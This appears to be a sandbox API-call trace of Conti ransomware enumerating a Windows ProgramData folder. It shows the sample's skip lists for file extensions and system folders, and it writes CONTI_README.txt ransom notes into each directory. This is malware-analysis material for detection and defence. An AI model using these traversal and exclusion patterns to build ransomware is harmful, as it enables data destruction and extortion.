	[0106.618] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f9117b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1
	[0106.618] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.618] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.618] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.618] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.618] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.618] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.618] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.618] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.618] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.618] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.618] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 76
	[0106.618] lstrlenW (lpString="customizations.xml") returned 18
	[0106.618] GetProcessHeap () returned 0x1720000
	[0106.618] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x6510cf8
	[0106.618] lstrcpyW (in: lpString1=0x6510cf8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}"
	[0106.618] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\"
	[0106.618] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"
	[0106.618] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6af14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6af14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6af14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0106.619] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.619] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.619] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.619] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.619] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.619] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.619] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.619] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.619] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.619] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.619] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 76
	[0106.619] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.619] GetProcessHeap () returned 0x1720000
	[0106.619] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d098
	[0106.619] lstrcpyW (in: lpString1=0x181d098, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}"
	[0106.619] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\"
	[0106.619] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml"
	[0106.619] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.619] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.619] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 76
	[0106.619] lstrlenW (lpString="Prov") returned 4
	[0106.619] GetProcessHeap () returned 0x1720000
	[0106.620] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.620] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}"
	[0106.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\"
	[0106.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov"
	[0106.620] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned 81
	[0106.620] GetProcessHeap () returned 0x1720000
	[0106.620] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6586d80
	[0106.620] lstrcpyW (in: lpString1=0x6586d80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov"
	[0106.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*"
	[0106.620] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned 81
	[0106.620] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.620] GetProcessHeap () returned 0x1720000
	[0106.620] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181cd58
	[0106.620] lstrcpyW (in: lpString1=0x181cd58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov"
	[0106.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\"
	[0106.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\CONTI_README.txt"
	[0106.620] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.621] GetProcessHeap () returned 0x1720000
	[0106.621] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cd58 | out: hHeap=0x1720000) returned 1
	[0106.621] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.623] CloseHandle (hObject=0x398) returned 1
	[0106.623] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80b0
	[0106.623] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.623] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.623] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.623] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.623] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53637b78, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53637b78, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5365e363, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.623] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.623] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.623] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.623] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.623] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.623] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.624] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.624] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned 81
	[0106.624] lstrlenW (lpString="RunTime") returned 7
	[0106.624] GetProcessHeap () returned 0x1720000
	[0106.624] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.624] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov"
	[0106.624] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\"
	[0106.624] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime"
	[0106.624] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned 89
	[0106.624] GetProcessHeap () returned 0x1720000
	[0106.624] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.624] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime"
	[0106.624] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*"
	[0106.624] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned 89
	[0106.624] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.624] GetProcessHeap () returned 0x1720000
	[0106.624] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3778
	[0106.624] lstrcpyW (in: lpString1=0x17c3778, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime"
	[0106.624] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\"
	[0106.624] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.624] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0106.625] GetProcessHeap () returned 0x1720000
	[0106.625] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3778 | out: hHeap=0x1720000) returned 1
	[0106.625] WriteFile (in: hFile=0x3c4, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.626] CloseHandle (hObject=0x3c4) returned 1
	[0106.626] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5365e363, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0106.626] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.626] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5365e363, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.626] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.626] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.626] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1
	[0106.626] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2=".") returned 1
	[0106.626] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2="..") returned 1
	[0106.626] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.626] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.626] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.626] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.626] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.626] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.626] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.626] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.626] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned 89
	[0106.626] lstrlenW (lpString="0__Power_Policy.provxml") returned 23
	[0106.626] GetProcessHeap () returned 0x1720000
	[0106.626] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c3778
	[0106.627] lstrcpyW (in: lpString1=0x17c3778, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime"
